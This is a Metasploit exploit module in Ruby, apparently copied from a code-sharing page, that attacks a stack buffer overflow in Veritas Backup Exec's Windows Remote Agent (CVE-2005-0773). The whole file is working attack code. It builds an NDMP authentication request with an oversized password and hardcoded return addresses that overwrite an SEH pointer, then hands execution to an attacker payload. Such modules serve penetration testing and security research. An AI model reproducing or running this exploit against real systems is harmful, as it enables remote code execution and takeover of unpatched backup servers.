Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GreatRanking
8

9
  include Msf::Exploit::Remote::NDMP
10

11
  def initialize(info = {})
12
    super(update_info(info,
13
      'Name'           => 'Veritas Backup Exec Windows Remote Agent Overflow',
14
      'Description'    => %q{
15
          This module exploits a stack buffer overflow in the Veritas
16
        BackupExec Windows Agent software. This vulnerability occurs
17
        when a client authentication request is received with type
18
        '3' and a long password argument. Reliable execution is
19
        obtained by abusing the stack buffer overflow to smash a SEH
20
        pointer.
21
      },
22
      'Author'         => [ 'hdm' ],
23
      'License'        => MSF_LICENSE,
24
      'References'     =>
25
        [
26
          [ 'CVE', '2005-0773'],
27
          [ 'OSVDB', '17624'],
28
          [ 'BID', '14022'],
29
          [ 'URL', 'http://www.idefense.com/application/poi/display?id=272&type=vulnerabilities']
30
        ],
31
      'Privileged'     => true,
32
      'DefaultOptions' =>
33
        {
34
          'EXITFUNC' => 'process',
35
        },
36
      'Payload'        =>
37
        {
38
          'Space'    => 1024,
39
          'BadChars' => "\x00",
40
          'StackAdjustment' => -3500,
41
        },
42
      'Platform'       => %w{ win },
43
      'Targets'        =>
44
        [
45
          [
46
            'Veritas BE 9.0/9.1/10.0 (All Windows)',
47
            {
48
              'Platform' => 'win',
49
              'Rets'     => [ 0x0140f8d5, 0x014261b0 ],
50
            },
51
          ],
52
          [
53
            'Veritas BE 9.0/9.1/10.0 (Windows 2000)',
54
            {
55
              'Platform' => 'win',
56
              'Rets'     => [ 0x75022ac4, 0x75022ac4 ],
57
            },
58
          ],
59
        ],
60
      'DefaultTarget'  => 0,
61
      'DisclosureDate' => '2005-06-22'))
62

63
    register_options(
64
      [
65
        Opt::RPORT(10000)
66
      ])
67
  end
68

69
  def check
70
    info = ndmp_info()
71
    if (info and info['Version'])
72
      vprint_status(" Vendor: #{info['Vendor']}")
73
      vprint_status("Product: #{info['Product']}")
74
      vprint_status("Version: #{info['Version']}")
75

76
      if (info['Vendor'] =~ /VERITAS/i and info['Version'] =~ /^(4\.2|5\.1)$/)
77
        return Exploit::CheckCode::Appears
78
      end
79
    end
80
    return Exploit::CheckCode::Safe
81
  end
82

83
  def exploit
84
    connect
85

86
    print_status("Trying target #{target.name}...")
87

88
    resp = ndmp_recv()
89

90
    username = 'X' * 512
91
    password = rand_text_alphanumeric(8192)
92

93
    # Place our payload early in the request and jump backwards into it
94
    password[ 3536 - payload.encoded.length, payload.encoded.length] = payload.encoded
95

96
    # This offset is required for version 10.0
97
    password[3536, 2] = "\xeb\x06"
98
    password[3540, 4] = [ target['Rets'][1] ].pack('V')
99
    password[3544, 5] = "\xe9" + [-1037].pack('V')
100

101
    # This offset is required for version 9.0/9.1
102
    password[4524, 2] = "\xeb\x06"
103
    password[4528, 4] = [ target['Rets'][0] ].pack('V')
104
    password[4532, 5] = "\xe9" + [-2025].pack('V')
105

106
    # Create the authentication request
107
    auth = [
108
        1,               # Sequence number
109
        Time.now.to_i,   # Current time
110
        0,               # Message type (request)
111
        0x901,           # Message name (connect_client_auth)
112
        0,               # Reply sequence number
113
        0,               # Error status
114
        3                # Authentication type
115
      ].pack('NNNNNNN') +
116
      [ username.length ].pack('N') + username +
117
      [ password.length ].pack('N') + password +
118
      [ 4 ].pack('N')
119

120
    print_status("Sending authentication request...")
121
    ndmp_send(auth)
122

123
    # Attempt to read a reply (this should fail)
124
    ndmp_recv()
125

126
    handler
127
    disconnect
128
  end
129
end
130

131